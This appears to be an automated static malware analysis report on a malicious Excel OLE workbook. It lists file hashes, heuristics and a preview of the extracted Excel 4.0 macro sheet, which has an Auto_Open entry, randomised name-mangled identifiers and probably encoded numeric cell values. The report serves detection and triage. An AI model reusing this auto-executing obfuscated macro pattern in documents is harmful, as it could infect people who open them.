Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c511f3b96e744aa…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:44 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: dd3c9e961533f64c88632d0b3dae5dda SHA-1: be6d7cc0cabb50885cf328e94ba71383b815a229 SHA-256: 5c511f3b96e744aac294e1ba3c26befde55056e21b10b222e7801b47f9f9f009
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6774 bytes
SHA-256: 786d58f43cfae8dc7d0eab8bd18fc6aa565f844aee2ac6d8f21dffab12bc5f5c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 38 identifiers look randomly generated (e.g. 'NbQThRODsMGp') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IjnxBnof
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H158 
' 0018     26 LABEL : Cell Value, String Constant - doabsxDnbtK len=0 
' 0018     25 LABEL : Cell Value, String Constant - FRRQZgolcC len=0 
' 0018     24 LABEL : Cell Value, String Constant - gBBvxRcKM len=0 
' 0018     26 LABEL : Cell Value, String Constant - HmrzqDIomUf len=0 
' 0018     21 LABEL : Cell Value, String Constant - inxGBs len=0 
' 0018     26 LABEL : Cell Value, String Constant - JtBeKXZJnqK len=0 
' 0018     24 LABEL : Cell Value, String Constant - LnTobNdEO len=0 
' 0018     22 LABEL : Cell Value, String Constant - lVMTaGE len=0 
' 0018     25 LABEL : Cell Value, String Constant - MLtftYGxLz len=0 
' 0018     20 LABEL : Cell Value, String Constant - MzsKl len=0 
' 0018     27 LABEL : Cell Value, String Constant - NbQThRODsMGp len=0 
' 0018     27 LABEL : Cell Value, String Constant - NvoqBRYDEOUP len=0 
' 0018     25 LABEL : Cell Value, String Constant - OupnSmePvH len=0 
' 0018     24 LABEL : Cell Value, String Constant - PmGcGsNXz len=0 
' 0018     25 LABEL : Cell Value, String Constant - rAolLhpSFR len=0 
' 0018     22 LABEL : Cell Value, String Constant - rTQPiTn len=0 
' 0018     26 LABEL : Cell Value, String Constant - sBpZfFlvUih len=0 
' 0018     22 LABEL : Cell Value, String Constant - UcPffCZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - viGpYxRMLrvE len=0 
' 0018     20 LABEL : Cell Value, String Constant - WGkkQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IjnxBnof,H64,"SET.NAME("lVMTaGE",0+VALUE("0"))",""
'  IjnxBnof,H68,"SET.NAME("UcPffCZ",lVMTaGE)",""
'  IjnxBnof,H71,"SET.NAME("FRRQZgolcC",lVMTaGE)",""
'  IjnxBnof,H75,"SET.NAME("OupnSmePvH",COUNTA(gBBvxRcKM))",""
'  IjnxBnof,H78,"SET.NAME("JtBeKXZJnqK",COUNTA(MLtftYGxLz))",""
'  IjnxBnof,H82,[],""
'  IjnxBnof,H84,"SET.NAME("PmGcGsNXz","")",""
'  IjnxBnof,H88,"UcPffCZ",""
'  IjnxBnof,H92,"SET.NAME("NbQThRODsMGp",HLOOKUP("*",gBBvxRcKM,UcPffCZ,FALSE))",""
'  IjnxBnof,R93,"",-435.00000000000000000000
'  IjnxBnof,R94,"",473.00000000000000000000
'  IjnxBnof,R95,"",-482.00000000000000000000
'  IjnxBnof,H96,"NvoqBRYDEOUP",""
'  IjnxBnof,R96,"",-422.00000000000000000000
'  IjnxBnof,R97,"",-126.00000000000000000000
'  IjnxBnof,R98,"",-90.00000000000000000000
'  IjnxBnof,H100,"SET.NAME("LnTobNdEO",lVMTaGE)",""
'  IjnxBnof,H103,[],""
'  IjnxBnof,H107,"LnTobNdEO",""
'  IjnxBnof,H110,"MzsKl",""
'  IjnxBnof,H114,"rTQPiTn",""
'  IjnxBnof,H116,"inxGBs",""
'  IjnxBnof,H121,"SET.NAME("viGpYxRMLrvE",VALUE(HLOOKUP("*",MLtftYGxLz,inxGBs,FALSE)))",""
'  IjnxBnof,H126,"doabsxDnbtK",""
'  IjnxBnof,H129,"PmGcGsNXz",""
'  IjnxBnof,H132,"FRRQZgolcC",""
'  IjnxBnof,H134,NEXT(),""
'  IjnxBnof,H136,"rAolLhpSFR",""
'  IjnxBnof,H139,[],""
'  IjnxBnof,H143,"WGkkQ",""
'  IjnxBnof,H148,NEXT(),""
'  IjnxBnof,H153,RETURN(),""
'  IjnxBnof,H188,"SET.NAME("sBpZfFlvUih",H64)",""
'  IjnxBnof,H191,"gBBvxRcKM",""
'  IjnxBnof,H193,"SET.NAME("MLtftYGxLz",R98C12)",""
'  IjnxBnof,H197,"SET.NAME("WGkkQ",206)",""
'  IjnxBnof,H201,"SET.NAME("HmrzqDIomUf",8)",""
'  IjnxBnof,H205,sBpZfFlvUih(),""
'  IjnxBnof,H206,HALT(),""

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